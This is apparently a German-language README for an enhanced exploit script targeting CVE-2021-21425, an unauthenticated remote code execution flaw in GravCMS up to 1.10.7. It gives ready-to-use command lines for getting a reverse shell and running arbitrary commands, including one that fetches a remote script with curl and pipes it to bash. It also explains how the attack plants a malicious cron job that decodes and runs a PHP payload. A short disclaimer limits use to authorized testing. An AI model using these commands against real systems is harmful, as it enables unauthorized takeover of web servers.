CVE-2021-21425 - GravCMS Unauthenticated RCE

Exploit für unbeauthentifizierte Remote-Code-Ausführung für GravCMS <= 1.10.7 über beliebiges YAML-Schreiben in den Scheduler.

Dies ist eine verbesserte Version von EDB-49973. Der ursprüngliche Exploit erfordert manuelles Bearbeiten von festcodierten Werten im Skript. Diese Version fügt ordnungsgemäße CLI-Argumente und automatische Base64-Kodierung von Payloads hinzu.

Verbesserungen gegenüber dem Original:

• Kommandozeilenargumente für Ziel, LHOST, LPORT
• Automatische Base64-Kodierung des Reverse-Shell-Payloads
• Unterstützung für benutzerdefinierte Befehle (-c)
• Ordnungsgemäße Fehlerbehandlung und Statusausgabe

Schwachstelle

Das Grav Admin-Plugin überprüft die Authentifizierung auf bestimmten Admin-Routen nicht, sodass nicht authentifizierte Benutzer beliebige YAML-Konfiguration schreiben können. Dieser Exploit missbraucht die Scheduler-Konfiguration, um einen Cron-Job zu erstellen, der beliebigen PHP-Code ausführt.

Verwendung

# Reverse Shell
python3 exploit.py -t http://target -s <LHOST> <LPORT>

# Benutzerdefinierter Befehl
python3 exploit.py -t http://target -c "id"

Beispiele

# Reverse Shell auf Ziel holen
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444

# Befehl ausführen
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"

Voraussetzungen

pip install requests

Funktionsweise

1. Ruft /admin ab, um das admin-nonce-Token zu extrahieren (keine Authentifizierung erforderlich aufgrund der Schwachstelle)
2. Sendet POST an /admin/config/scheduler mit bösartiger Cron-Job-Konfiguration
3. Scheduler führt PHP-Payload über /usr/bin/php -r eval(base64_decode(...)) aus
4. PHP schreibt die base64-dekodierte Reverse Shell nach /tmp/rev.sh und führt sie aus

Der Cron-Job läuft jede Minute (* * * * *), sodass die Shell innerhalb von 60 Sekunden eintrifft.

Chronologie

• 2021-03-29 - Offengelegt von Mehmet Ince
• 2021-04-01 - Gepatched im Grav Admin Plugin

Referenzen

• NVD Eintrag
• GitHub Advisory
• ExploitDB
• Pentest Blog - Mehmet Ince

Haftungsausschluss

Nur für autorisierte Sicherheitstests. Stellen Sie sicher, dass Sie eine schriftliche Genehmigung haben, bevor Sie Tests an einem System durchführen.